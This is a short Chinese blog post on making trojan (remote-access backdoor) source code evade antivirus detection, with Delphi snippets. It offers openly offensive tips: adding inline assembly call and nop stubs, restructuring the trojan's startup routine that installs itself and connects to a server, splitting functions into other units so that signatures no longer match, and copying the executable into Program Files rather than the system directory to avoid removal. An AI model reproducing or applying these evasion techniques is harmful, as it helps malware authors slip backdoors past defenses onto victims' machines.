木马源代码免杀处理

木马源代码免杀处理


 
------------------------------------------
有加这样免杀的:
------------------------------------------
begin
  asm  //直接用汇编调用代码进行免杀处理源代码
  call test
end;


Procedure test;
asm
nop
nop
nop
end;
------------------------------------------
我喜欢这样:
------------------------------------------
1,结尾处运行,如

begin
  ReadSettings;
  Install;

  Serv := TServer.Create;
  While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
  Serv.Connect;
end.
------------------------------------------
你可
Procedure Main;
  ReadSettings;
  Install;

  Serv := TServer.Create;
  While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
  Serv.Connect;
end;
------------------------------------------
直接调用相当于od里看到的call
begin
  Main;
end.
------------------------------------------
2、加单元,把一些函数搬到那个单元来,哈哈,结构变了,功能没变,一定免杀
------------------------------------------
3、复到系统目录被杀,那就改到复到C:/Program Files

function GetWinDir():String;  //得到系统目录
var ResultDir:Array[1..64] of char;
    i:integer;
begin
  for i:=1 to 64 do resultDir:=char($20);
  GetEnvironmentVariable('windir',@resultDir,64);
  Result:=resultDir;
end;
------------------------------------------
var
myn ,myn2:String;
myn:=ExtractFilename(ParamStr(0));
myn2:=COPY(trim(GetWindir),1,2)+'/Program Files/'+myn; //复制一份到Program Files
if not FileExists(myn2) then
  begin
    copyfile(pchar(ParamStr(0)), pchar(myn2), true);
end;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值